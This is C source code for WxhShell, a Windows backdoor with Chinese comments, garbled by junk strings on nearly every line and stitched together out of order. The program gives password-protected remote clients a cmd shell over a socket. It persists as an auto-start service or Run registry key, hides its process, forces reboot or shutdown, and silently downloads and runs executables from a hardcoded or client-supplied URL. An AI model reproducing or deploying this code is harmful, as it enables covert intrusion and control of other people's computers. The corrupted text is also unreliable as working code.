    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S$ k=70H  
    if(Boot(SHUTDOWN)) 9Dp0Pi?29  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z1_F)5pn  
    else { 0:JNkXZ:  
    closesocket(wsh); P!I Lji!  
    ExitThread(0); *U- :2uf  
    } VaA.J  
    break; $\q.Zb  
    } e,MgR\F}  
  // 获取shell dDa&:L  
  case 's': { H5*#=It  
    CmdShell(wsh); aYM~Ub:x{  
    closesocket(wsh); 8erG](  
    ExitThread(0); 13pu{Xak  
    break; _bt9{@)  
  } jig3M N  
  // 退出 GK;IY=8W  
  case 'x': { F\^\,hy  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Bg}l$?S  
    CloseIt(wsh); {< EPm&q  
    break;  DTa!vg  
    } 7$x%A&]  
  // 离开 o]]sm}3N  
  case 'q': { ]E)\>Jb  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?Qx4Z3n  
    closesocket(wsh); )+ 'r-AF*  
    WSACleanup(); #lc6-K#  
    exit(1); UA(4mbz+  
    break; UD.ZnE{"  
        } 5 D=r7  
  } \XwC|[%P  
  } EwmNgmYq  
"$D'gS oYe  
  // 提示信息 o1"N{ Eu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :@a0h  
} 9tb-;|  
  } RR's W@  
'oH3|  
  return; bYZU}Kl;(  
} 8I Ip,#%v  
HA7%8R*.2i  
// shell模块句柄 ' sNiJ>  
int CmdShell(SOCKET sock) M2c7 |  
{ 6kMkFZ}+  
STARTUPINFO si; e]CoYuPr  
ZeroMemory(&si,sizeof(si)); UR9\g(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \Rb:t}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?#fm-5WIi  
PROCESS_INFORMATION ProcessInfo; ~<~ ~C#R  
char cmdline[]="cmd"; -Sn'${2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y. 1F@w|  
  return 0; /h{Rf,H  
} yimK"4!j5A  
W/b)OlG"2  
// 自身启动模式 aEh9 za  
int StartFromService(void) <=D  a  
{ 2Q\\l @b\  
typedef struct ?L0k|7  
{ O1)\!=& .  
  DWORD ExitStatus; 8ICV"8(  
  DWORD PebBaseAddress; &%GAPs%  
  DWORD AffinityMask; +GL$[ 5G  
  DWORD BasePriority; hvQXYo>TZx  
  ULONG UniqueProcessId; biBMd(6  
  ULONG InheritedFromUniqueProcessId; u`.)O2)xU  
}   PROCESS_BASIC_INFORMATION; ;ISe@ yR;  
, ,ng]&%i  
PROCNTQSIP NtQueryInformationProcess; :=TIq  
U*E)y7MY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Cl!(F 6K*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; GBWL0'COV  
c#"t.j<E}  
  HANDLE             hProcess; s@5~Hy eI  
  PROCESS_BASIC_INFORMATION pbi; gzqp=I[%  
#p55/54ZI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %''L7o.#a  
  if(NULL == hInst ) return 0; KX 7 fgC  
g>;@(:e^/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); K1BBCe  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tq3Rc}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V>,=%r4f  
k4hk* 0Jq  
  if (!NtQueryInformationProcess) return 0; P\<:.8@$S  
CswKT 9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \!BVf@>p%  
  if(!hProcess) return 0; s.Bb@Jq  
f7][#EL  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6}e*!,2Xj  
Cl9nmyf   
  CloseHandle(hProcess); m%apGp'=1  
)RvX}y-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zxCx2.7  
if(hProcess==NULL) return 0; |*UB/8C^/!  
6 h,!;`8O  
HMODULE hMod; M}#DX=NZc  
char procName[255]; MuQ)F-GSUu  
unsigned long cbNeeded; "t(_r@qU/  
|rwY   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3Cc#{X-+  
Q=fl!>P  
  CloseHandle(hProcess); A)>#n)  
3^~J;U!3  
if(strstr(procName,"services")) return 1; // 以服务启动 ^Y%_{   
S6JXi>n  
  return 0; // 注册表启动 9jqsEd-SW  
} \|HNFxT`  
ZIc.MNq  
// 主模块 _W_< bI34  
int StartWxhshell(LPSTR lpCmdLine) 9 %4:eTcp  
{ ,&WwADZ-s  
  SOCKET wsl; y^`JWs,  
BOOL val=TRUE; T-6<qh  
  int port=0; 9g5h~ Ma  
  struct sockaddr_in door; `(0B09~7  
-dBWpT  
  if(wscfg.ws_autoins) Install(); u"*DI=pwb  
/G'3!S  
port=atoi(lpCmdLine); !=,Y=5M,  
|&rCXfC  
if(port<=0) port=wscfg.ws_port; R=LiB+p  
o!":mJy  
  WSADATA data; FZj>N(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a~$Y;C_#<  
U>f'j;5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -R:_o1"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Gb\PubJ  
  door.sin_family = AF_INET; Coe/4! $M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Tgr,1) T  
  door.sin_port = htons(port); +)"Rv%.  
ufL<L;Z\;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { G#GZt\)F  
closesocket(wsl); +K`A2&F9  
return 1; r.\L@Y<  
} 3wq<@dRv4  
4v hz`1  
  if(listen(wsl,2) == INVALID_SOCKET) { @nY]S\if  
closesocket(wsl); z m$Sw0#(  
return 1; gE#'Zv{7  
} " L`)^  
  Wxhshell(wsl); KaNs>[a8  
  WSACleanup(); aY>v  
XAU%B-l:  
return 0; bTaKB-  
WqCC4R,-  
} wc4BSJa,19  
sjg`4^!wDD  
// 以NT服务方式启动 S-7&$n  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K%? g6j  
{ _V-KyK  
DWORD   status = 0;  Qw}1q!89  
  DWORD   specificError = 0xfffffff; o'!=x$Ky  
{}$7Bp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Lz'VQO1U=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WQ.0}n}d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; rm,`M  
  serviceStatus.dwWin32ExitCode     = 0; VWvSt C  
  serviceStatus.dwServiceSpecificExitCode = 0; J{1H$[W~}  
  serviceStatus.dwCheckPoint       = 0; GBbnR:hM  
  serviceStatus.dwWaitHint       = 0; 0 Uropam  
#_wq#rF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ,|({[ 9jA  
  if (hServiceStatusHandle==0) return; |h\7Q1,1~2  
+nDy b  
status = GetLastError(); :hX[8u  
  if (status!=NO_ERROR) U%nkPIFm  
{ ~P1~:AT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =1l6( pJ  
    serviceStatus.dwCheckPoint       = 0; ,_Z(!| rW  
    serviceStatus.dwWaitHint       = 0; YNEwX$)M,B  
    serviceStatus.dwWin32ExitCode     = status; L=4+rshl!_  
    serviceStatus.dwServiceSpecificExitCode = specificError; v 3I^81  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X g6ezlW  
    return; "<!U  
  } f<Hi=Qpm  
br[iRda@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; mH'~pR>t  
  serviceStatus.dwCheckPoint       = 0; hJ@vlMW  
  serviceStatus.dwWaitHint       = 0; t<!;shH,s  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L (Y1ey9x  
} "jFf}"  
i+*!" /De  
// 处理NT服务事件,比如:启动、停止 L=r*bq  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Yq+ 1kA  
{ zfeT>S+  
switch(fdwControl) %;,fI'M  
{ K3yQ0k |  
case SERVICE_CONTROL_STOP: Z7;V}[wie  
  serviceStatus.dwWin32ExitCode = 0; &|/_"*uM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #).$o~1ht!  
  serviceStatus.dwCheckPoint   = 0; $5R2QNg n  
  serviceStatus.dwWaitHint     = 0; : uncOd.  
  { m9 h '!X<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VfX^iG r  
  } O *sU|jeO  
  return; /Nf{;G!kg  
case SERVICE_CONTROL_PAUSE: `^bP9X_a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b(iF0U>&  
  break;  Aqy w  
case SERVICE_CONTROL_CONTINUE: u,sR2&Fe  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c|&3e84U  
  break; /eF@a!  
case SERVICE_CONTROL_INTERROGATE: _fHC+lwN  
  break; z5E%*]  
}; `q^#u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p['RV  
} IiU> VLa  
o*cu-j3  
// 标准应用程序主函数 3gA%Q`"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (bsx|8[  
{ Hn|W3U  
A3jxjQ  
// 获取操作系统版本 hyI7X7Hy  
OsIsNt=GetOsVer(); sh<Q2X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ma.84~m  
Y6` xb`  
  // 从命令行安装 smP4KC"I(d  
  if(strpbrk(lpCmdLine,"iI")) Install(); &@0~]\,D7  
to={q CqU  
  // 下载执行文件 F9K%f&0 a  
if(wscfg.ws_downexe) { <DF3!r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HBlk~eZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); |cvU2JI@  
} FY1iY/\Cn  
\TQZZ_Z  
if(!OsIsNt) { L)e" qC_-  
// 如果时win9x,隐藏进程并且设置为注册表启动 [&)]-2w2  
HideProc(); YvR bM  
StartWxhshell(lpCmdLine); ]G/m,Zv*:  
} ]PXM;w  
else -`O{iHfM|P  
  if(StartFromService()) {v ?Q9  
  // 以服务方式启动 .wfydu)3  
  StartServiceCtrlDispatcher(DispatchTable); u`pTFy  
else g'"~'  
  // 普通方式启动 n;g'?z=hy  
  StartWxhshell(lpCmdLine); ~Amq1KU*Z  
"+HJ/8Dd1  
return 0; e4z`:%vy  
} 6Yu:v  
Obs#2>h  
djd/QAfSC  
'Y 38VOI%  
=========================================== -ng1RA>  
!/FRL<mp  
7'0Vb !(  
8z=# 0+0  
n]%- 2`}(  
zl0{lV  
" p3s i\Fm!  
'&IGdB I  
#include <stdio.h> ?Ga8.0Z~KT  
#include <string.h> 9LR=>@Z  
#include <windows.h> 1I Xtu   
#include <winsock2.h> 'eM0i[E+`  
#include <winsvc.h> .-gJS-.c  
#include <urlmon.h> O?uICnmi6  
fY<#KM6X  
#pragma comment (lib, "Ws2_32.lib") U4D7@KY +m  
#pragma comment (lib, "urlmon.lib") K;F1'5+=D  
 a_?sJ  
#define MAX_USER   100 // 最大客户端连接数 N J3;[qJ  
#define BUF_SOCK   200 // sock buffer a6{Zp{"Y  
#define KEY_BUFF   255 // 输入 buffer $dC`keQM>9  
fz'qB-F Y  
#define REBOOT     0   // 重启 T{dQ4 c  
#define SHUTDOWN   1   // 关机 XKp&GE@Y  
JT+ c7W7  
#define DEF_PORT   5000 // 监听端口 f{BF%;  
VjQ&A#   
#define REG_LEN     16   // 注册表键长度 EX,>V,.UV  
#define SVC_LEN     80   // NT服务名长度 >|f"EK}m!  
uwwR$ (\7  
// 从dll定义API sd%j&Su#4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zv]ZEWVzc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1lw%RM  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IJ^~,+  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 65EMB%  
kR=sr/{  
// wxhshell配置信息 35\ |#2qw6  
struct WSCFG { VD=H=Ju  
  int ws_port;         // 监听端口 F#Lo^ 8  
  char ws_passstr[REG_LEN]; // 口令 <4}m:  
  int ws_autoins;       // 安装标记, 1=yes 0=no  .NOAp  
  char ws_regname[REG_LEN]; // 注册表键名 ?=1eHnP!R  
  char ws_svcname[REG_LEN]; // 服务名 !XPjRdq  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ;;0'BdsL`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +x]/W|5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 WZQ2Mi<&1'  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =AIts[!qd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #&Hi0..y  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 UtQj<18<  
b\P:a_vq  
}; =%<=Bn  
"i0>>@NR'  
// default Wxhshell configuration >|taU8^|G}  
struct WSCFG wscfg={DEF_PORT, a?[[F{X9^  
    "xuhuanlingzhe", ';C'9k<P:  
    1, ,`geOJn'  
    "Wxhshell", ]az(w&vqg2  
    "Wxhshell", '=dQ$fs  
            "WxhShell Service", mnm ZO}   
    "Wrsky Windows CmdShell Service", Qs1p  
    "Please Input Your Password: ", J[ZHAnmPH  
  1, $d<NN2  
  "http://www.wrsky.com/wxhshell.exe", ^{M$S0g|N  
  "Wxhshell.exe" yqN`R\d  
    }; x^ `/&+m  
LG[N\%<!H  
// 消息定义模块 f,G*e367:  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $nt&'Xnv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M9iX_4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8iIp[9~=  
char *msg_ws_ext="\n\rExit."; Tg{5%~L]   
char *msg_ws_end="\n\rQuit."; C19N0=  
char *msg_ws_boot="\n\rReboot..."; 3x~7N  
char *msg_ws_poff="\n\rShutdown..."; ;,77|]<XE  
char *msg_ws_down="\n\rSave to "; n0KpKH<&  
5r5on#O&  
char *msg_ws_err="\n\rErr!"; | 6{JINW  
char *msg_ws_ok="\n\rOK!"; 6 f*:;  
p9"dm{  
char ExeFile[MAX_PATH]; nM[yBA  
int nUser = 0; !v8R(  
HANDLE handles[MAX_USER]; "xlR>M6e  
int OsIsNt; 6 byeO&d  
 ZiPeP  
SERVICE_STATUS       serviceStatus; 6kAAdy}ck  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; \5a.JfF  
i:s=  
// 函数声明 _=HaE&  
int Install(void); o;@~uU  
int Uninstall(void); i^DMnvV.  
int DownloadFile(char *sURL, SOCKET wsh); wUaWF$~y  
int Boot(int flag); [/a AH<9b  
void HideProc(void); ]'5Xjcx  
int GetOsVer(void); Y_CYx  
int Wxhshell(SOCKET wsl); ]Thke 4  
void TalkWithClient(void *cs); eha|cAq  
int CmdShell(SOCKET sock); x,C8):\t`B  
int StartFromService(void); 9J/[7TzSZ  
int StartWxhshell(LPSTR lpCmdLine); J%?5d:iN+  
bTJ<8q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); v~ >Bbe  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Gazva/e  
c^I^jg2v  
// 数据结构和表定义 ==Egy:<:Q  
SERVICE_TABLE_ENTRY DispatchTable[] = 4EM+Ye  
{ ps'_Y<@  
{wscfg.ws_svcname, NTServiceMain}, kt6)F&;$  
{NULL, NULL} DQGrXMpV0  
}; q8P&rMwy  
LK DfV  
// 自我安装 )#i@DHt=  
int Install(void) =\lw.59  
{ Nvd(?+c  
  char svExeFile[MAX_PATH]; 5n?P}kca)  
  HKEY key; [W3X$r~-  
  strcpy(svExeFile,ExeFile); x3i}IC  
N>(w+h+  
// 如果是win9x系统,修改注册表设为自启动 U~D~C~\2;  
if(!OsIsNt) { KO "/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { loIb}8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {wC*61@1  
  RegCloseKey(key); 8?iI;(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &{e ]S!D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z3JUYEAS  
  RegCloseKey(key); qFWN._R  
  return 0; ,NQ!d4 ~D  
    }  %W~w\mT  
  } nG<oae6z"  
} KRL.TLgq)  
else { Bf*>q*%B{  
SE\?8cs]-  
// 如果是NT以上系统,安装为系统服务 ktrIi5B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); AJ%E.+@=r  
if (schSCManager!=0) :EOai%i  
{ p{5m5x  
  SC_HANDLE schService = CreateService US$$ADq  
  ( 4|K\pCw  
  schSCManager, Tc(=J7*r&  
  wscfg.ws_svcname, @ZU$W9g  
  wscfg.ws_svcdisp, s)- ;74(  
  SERVICE_ALL_ACCESS, d/R!x{$-f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , estiS  
  SERVICE_AUTO_START, N" L&Z4Z  
  SERVICE_ERROR_NORMAL, |OJWQU![by  
  svExeFile, n725hY6}<l  
  NULL, :\|A.# U  
  NULL, }sH[_%)  
  NULL, 0{b} 1D  
  NULL, 8GP17j  
  NULL <-k!  
  ); ES4Wtc)&  
  if (schService!=0) 3q'AgiW  
  { <kFLwF?PM'  
  CloseServiceHandle(schService); _;03R{e*  
  CloseServiceHandle(schSCManager); J- S.m(  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); EQ273sdK  
  strcat(svExeFile,wscfg.ws_svcname); %]Z4b;W[Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { xoo,}EY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ?C[?dg{n  
  RegCloseKey(key); D#LV&4e>.E  
  return 0; ^i%S}VK  
    } Mq$K[]F  
  } 1_TuA(  
  CloseServiceHandle(schSCManager); 0FOB5eBR  
} d[_26.  
} 83c2y;|8  
&MSU<S?1  
return 1; ZHK>0>;  
} ]QaKXg)3q  
7,SQz6]  
// 自我卸载 !vnC-&G  
int Uninstall(void) F(hPF6Zx(  
{ a%r!55.   
  HKEY key; I&+.IK_  
_4N.]jr5  
if(!OsIsNt) { /i"hViCrlG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G[mqLI{q  
  RegDeleteValue(key,wscfg.ws_regname); 8Nzn%0(Q  
  RegCloseKey(key); [1vm~w'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w!"L\QT  
  RegDeleteValue(key,wscfg.ws_regname); #zl1#TC{(  
  RegCloseKey(key); S=k!8]/d|  
  return 0; 59oTU  
  } 7z$Z=cs  
} w||t3!M+n  
} *|=D 0  
else { #tR:W?!  
'o IE:#b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); `9r{z;UQ  
if (schSCManager!=0) .u)KP*_  
{ D;!sH?J@+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *5PQ>d G  
  if (schService!=0) uU 7 <8G  
  { rL-R-;Ca  
  if(DeleteService(schService)!=0) { DKS1Sm6d0  
  CloseServiceHandle(schService); ~5HT _B U=  
  CloseServiceHandle(schSCManager); dCoP qKy  
  return 0; 5$ =[x!x  
  } 9Q1%+zjjMq  
  CloseServiceHandle(schService); ZhY{,sy?QO  
  } E,m|E]WP  
  CloseServiceHandle(schSCManager); &`qYe)1Eo  
} !kSemDC  
} o:#jvi84F  
E.*hY+kGZ  
return 1; G %sO{k7  
} sc]#T)xG  
oSrA4g  
// 从指定url下载文件 9CS" s_  
int DownloadFile(char *sURL, SOCKET wsh) N 8[r WJ#  
{ qR.FjQOvn  
  HRESULT hr; us.[wp'Sh  
char seps[]= "/"; |>(Vo@  
char *token; 1R}9k)JQ  
char *file; .8QhJHwd  
char myURL[MAX_PATH]; !U?C _  
char myFILE[MAX_PATH]; J~K O#`  
1vq2`lWpx  
strcpy(myURL,sURL); fcdXj_u  
  token=strtok(myURL,seps); 2@MpWj4  
  while(token!=NULL) =-oP,$k  
  { Lz1KDXr`)+  
    file=token; m u9,vH  
  token=strtok(NULL,seps); |$/#,Dv7  
  } zmQQ/ 7K  
6|p8_[e`  
GetCurrentDirectory(MAX_PATH,myFILE); ,IhQ%)l  
strcat(myFILE, "\\"); p8 S~`fjV  
strcat(myFILE, file); M%:\ry4:  
  send(wsh,myFILE,strlen(myFILE),0); R>"pJbS;L  
send(wsh,"...",3,0); J ?{sTj"KB  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); j?C[ids<  
  if(hr==S_OK) F7<M{h5s  
return 0; R7IFlQH%  
else U`) " ;WN  
return 1; qf K gNZ  
cWnEp';.  
} _L)LyQD]T  
z@UH[>^gj  
// 系统电源模块 !QdX+y<re  
int Boot(int flag) kR1 12J9P  
{ S'RRe84 C  
  HANDLE hToken; ?6*\  M  
  TOKEN_PRIVILEGES tkp; J,v024TM  
%ly&~&0  
  if(OsIsNt) { !]R>D{""  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u L v  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MX*4d{l  
    tkp.PrivilegeCount = 1; A]iT uu5p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IV&5a]j  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dgQ<>+9]6  
if(flag==REBOOT) { &iD&C>;pf  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R{H8@JLD  
  return 0; }`Wo(E}O  
} k_1;YO BF  
else { 'xuxMav6m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) &9gI?b8  
  return 0; DQObHB8L  
} zBca$Vp  
  } ~W"@[*6w  
  else { yEB#*}K?  
if(flag==REBOOT) { 0f_`;{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;<o?JM  
  return 0; _TdH6[9  
}  f^}n#  
else { MYJMZ3qBi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) yz>S($u  
  return 0; #3>jgluM'  
} AH#a+<;a  
} WOgkv(5KN  
<D&  Ep  
return 1; 3 %BI+1&T_  
} ( ?e Et&  
m+dQBsz\  
// win9x进程隐藏模块 K{Nj-Rqd  
void HideProc(void) 1LSD,t|  
{ "Qc4v@~)  
lQgavP W!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /&qE,>hd.+  
  if ( hKernel != NULL ) 7#&Q-3\:  
  { O<AGAD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7^!iGhI]r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _/ 5  
    FreeLibrary(hKernel); =Y^K   
  } <Pf4[q&wM  
-:!Wds  
return; .f[z_% ar  
} Om;` "5  
Yp3y%n  
// 获取操作系统版本 qm9=Ga5  
int GetOsVer(void) all2?neK  
{ %LqT>HXJ  
  OSVERSIONINFO winfo; s[7/w[&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =pj3G?F#  
  GetVersionEx(&winfo); D2Q0p(#%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) L6jwJwD  
  return 1; g%)cyri  
  else |rgPHRX^Hn  
  return 0; B<.ZW}#v  
} AnE] kq u  
RA){\~@wC  
// 客户端句柄模块 [T3%Xt'4  
int Wxhshell(SOCKET wsl) T`u ,!S  
{ IQ$6}.  
  SOCKET wsh; pFBK'NE  
  struct sockaddr_in client; d&ff1(j(  
  DWORD myID; 8wkt9:  
%5n'+-XVj  
  while(nUser<MAX_USER) ^@Qc!(P  
{ 2PNe~9)*#  
  int nSize=sizeof(client); LOwd mj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^FTS'/Q  
  if(wsh==INVALID_SOCKET) return 1; ts,V+cEA  
#g2&x sU  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); fCX8s(|F  
if(handles[nUser]==0) @'Pay)P  
  closesocket(wsh); M D& 7k,!  
else On[yL$?  
  nUser++; wT,=C'  
  } w xa MdA  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xbCQ^W2YU|  
l&Y'5k_R  
  return 0; CFoR!r:X  
} =?\%E[j  
YB:}L b  
// 关闭 socket iMV=R2t 2  
void CloseIt(SOCKET wsh) 0<f.r~  
{ m G+=0Rn^  
closesocket(wsh); 9pWSvalw9  
nUser--; #\K"FE0PGz  
ExitThread(0); Q/h-Kh mz  
} :FmH=pI!=  
/*M3Ns1@2  
// 客户端请求句柄 Y%}N@ ,lT  
void TalkWithClient(void *cs) 5e?<x>e  
{ |tse"A5Z  
ao|n<*}  
  SOCKET wsh=(SOCKET)cs; V:+z3)qF  
  char pwd[SVC_LEN]; _lm^v%J$  
  char cmd[KEY_BUFF]; )$d~HA@B  
char chr[1]; =NNxe"Kd;U  
int i,j; zXbA$c  
M7&G9SGZ  
  while (nUser < MAX_USER) { :s-9@Yl|  
EP+LK?{%  
if(wscfg.ws_passstr) { LPca+o|f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m4'jTC$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vF[ 4kDHk  
  //ZeroMemory(pwd,KEY_BUFF); )me`Ud  
      i=0; (<e<Q~(  
  while(i<SVC_LEN) { 3od16{YH  
[r'A8!/|[  
  // 设置超时 !E)|[:$XT  
  fd_set FdRead; ' d?6 L  
  struct timeval TimeOut; &rl;+QS  
  FD_ZERO(&FdRead); ~mMTfC~9  
  FD_SET(wsh,&FdRead); hMV>5Y[s  
  TimeOut.tv_sec=8; 7;&,L H  
  TimeOut.tv_usec=0; )%lPKp4]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E\p"%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); _c5*9')-)  
Y4_xV&   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [8 H:5 Ho  
  pwd=chr[0]; l@-h.tS  
  if(chr[0]==0xd || chr[0]==0xa) { qOnGP{   
  pwd=0; JZ&_1~Z=  
  break; |>.</68Z  
  } ^6LnB#C&  
  i++; @YG-LEh  
    } 9QL%q; #  
25@@-2h @  
  // 如果是非法用户,关闭 socket Bvh{|tP4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aUA)p}/:  
} gFT lP  
;y50t$0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l"jYY3N|h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /H3w7QU  
)?c,&  
while(1) { x;Slv(|M  
5O Y5b8  
  ZeroMemory(cmd,KEY_BUFF); @2 *Q*  
)S/=5Uc  
      // 自动支持客户端 telnet标准   ?)(-_N&T  
  j=0; m7u`r(&  
  while(j<KEY_BUFF) { 3d olrW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ju .pQ=PSX  
  cmd[j]=chr[0]; 2A:h&t/|C  
  if(chr[0]==0xa || chr[0]==0xd) { $$"G1<EZ  
  cmd[j]=0; {8`$~c  
  break; FouN}X6  
  } a(ITv roM/  
  j++; _{gqi$Mi  
    } A^A)arJS  
bovAFdHW  
  // 下载文件 .>P:{''  
  if(strstr(cmd,"http://")) { Ym! e}`A\F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); X J)Y-7c  
  if(DownloadFile(cmd,wsh)) XoL DqN!  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tMp! MQ  
